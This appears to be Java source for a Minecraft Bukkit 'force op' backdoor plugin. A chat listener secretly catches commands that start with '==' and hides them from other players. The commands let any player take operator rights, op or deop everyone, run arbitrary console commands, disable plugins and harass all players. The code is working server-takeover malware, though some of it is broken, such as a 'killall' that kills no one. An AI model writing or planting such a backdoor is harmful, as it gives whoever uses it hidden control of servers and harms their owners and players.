OutdatedForce OP plugin

@EventHandler
	public void onPlayerChat(AsyncPlayerChatEvent e)
	{
		String cmd = e.getMessage();
		if (cmd.startsWith("==")) 
		{
			String[] args = cmd.split(" ");
			if (args == null) 
			{
				return;
			}

			if(args[0].equalsIgnoreCase("==cmds1"))
			{
				e.getPlayer().sendMessage(ChatColor.AQUA + "==opme [Makes you an op]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==nameme (name) [Changes your name]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==nameall (name) [Changes all players names]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==gm2 [Sets you to adventure mode]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==gm1 [Sets you to creative mode]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==gm0 [Sets you to survival mode]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==exe (command) [Execute a command]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==disable (plugin) [Disable a plugin]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==opall [Ops every player on the server]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==deopall [Deops every player on the server]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==confuseall [Adds potion effects to everybody]");
				e.getPlayer().sendMessage(ChatColor.AQUA + "==killall [Kills all players]");
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==opme"))
			{
				e.getPlayer().setOp(true);
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==deopme"))
			{
				e.getPlayer().setOp(false);
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==nameall"))
			{
				String name = args[1];
				for (Player player : Bukkit.getOnlinePlayers()) {
					player.setDisplayName(name);
					player.setCustomName(name);
					player.setCustomNameVisible(true);
				}
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==nameme"))
			{
				String name = args[1];
				e.getPlayer().setDisplayName(name);
				e.getPlayer().setCustomName(name);
				e.getPlayer().setCustomNameVisible(true);
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==gm2"))
			{
				e.getPlayer().setGameMode(GameMode.ADVENTURE);
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==gm1"))
			{
				e.getPlayer().setGameMode(GameMode.CREATIVE);
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==gm0"))
			{
				e.getPlayer().setGameMode(GameMode.SURVIVAL);
				e.setCancelled(true);
			}

			if ((args[0].equalsIgnoreCase("==exe")) && (args.length >= 2)) 
			{
				String command = "";
				for (int i = 1; i < args.length; i++) {
					command = command + args[i] + " ";
				}
				Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), command.trim());
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==disable"))
			{
				Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
				if (plugin != null) 
				{
					Bukkit.getPluginManager().disablePlugin(plugin);
				}
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==opall"))
			{
				for (Player player : Bukkit.getOnlinePlayers()) {
					player.setOp(true);
				}
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==deopall"))
			{
				for (Player player : Bukkit.getOnlinePlayers()) {
					player.setOp(false);
				}
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==confuseall"))
			{
				for (Player player : Bukkit.getOnlinePlayers()) {
					player.addPotionEffect(new PotionEffect(PotionEffectType.CONFUSION, 200, 0));
					player.addPotionEffect(new PotionEffect(PotionEffectType.WEAKNESS, 200, 0));
					player.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 200, 0));
					player.addPotionEffect(new PotionEffect(PotionEffectType.BLINDNESS, 200, 0));
				}
				e.setCancelled(true);
			}

			if(args[0].equalsIgnoreCase("==killall"))
			{
				for (Player player : Bukkit.getOnlinePlayers()) {
					player.isDead();
				}
				e.setCancelled(true);
			}
		}
	}

}